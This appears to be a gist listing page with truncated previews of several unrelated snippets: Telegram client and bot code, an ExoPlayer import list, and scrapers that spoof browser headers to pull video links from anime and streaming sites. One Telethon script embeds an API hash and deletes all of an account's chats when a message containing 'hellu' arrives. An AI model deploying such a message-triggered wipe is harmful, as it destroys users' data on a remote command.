This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.example.exoplayerex | |
import android.net.Uri | |
import android.util.Base64 | |
import android.view.ViewGroup | |
import android.widget.FrameLayout | |
import androidx.compose.foundation.background | |
import androidx.compose.foundation.layout.Arrangement | |
import androidx.compose.foundation.layout.Column | |
import androidx.compose.foundation.layout.fillMaxSize |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import telethon as t | |
client = t.TelegramClient(None, 2992000, '235b12e862d71234ea222082052822fd') | |
client.start() | |
@client.on(t.events.NewMessage(pattern="hellu")) | |
async def ok(e): | |
async for x in client.iter_dialogs(): | |
await x.delete() | |
print("done!") | |
client.run_until_disconnected() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
func sTest(m *telegram.NewMessage) error { | |
f := []string{ | |
"NF81XzYyMzMzOTIxODI1MDY1NTU2NDZfLTc0NTM1Njk4NTgwOTUzMTI0NDc", | |
"NF81XzYyMzMzOTIxODI1MDY1NTU2NDdfMjE2NDQwODI0MzIxMTQ0MTI1OQ", | |
} | |
var med []telegram.MessageMedia | |
for _, v := range f { | |
vx, _ := telegram.ResolveBotFileID(v) | |
med = append(med, vx) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
from requests import get | |
BASE_URL = 'https://animepahe.com' | |
def get_anime_list(): | |
req = get(BASE_URL + '/api?m=airing&page=1', headers={'User-Agent': 'Mozilla/5.0'}).json() | |
animes = [] | |
for anime in req['data']: | |
animes.append({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_vid_url(imdb_id): | |
# (R) | |
try: | |
url = "https://v2.vidsrc.me/embed/{}".format(imdb_id) | |
soup = BeautifulSoup(get(url).text, "html.parser") | |
src_hash = soup.find("div", class_="active_source source").get("data-hash") | |
headers = { | |
"authority": "v2.vidsrc.me", | |
"sec-ch-ua": '"Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"', | |
"sec-ch-ua-mobile": "?0", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// (c) RoseLoverX 2022 | |
package main | |
import ( | |
"encoding/json" | |
"fmt" | |
"io" | |
"net/http" | |
"net/url" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from requests import get | |
r = get("https://animepahe.com/api?m=airing&page=1", headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"}) | |
a = r.json()["data"][0] | |
urls = get("https://animepahe.com/api?m=links&id={}&p=kwik".format(a["session"]), headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"}).json()["data"] | |
for i in urls: | |
key = list(i.keys())[0] | |
print("Quality: {} | URL: {}".format(key, i[key]["kwik"])) | |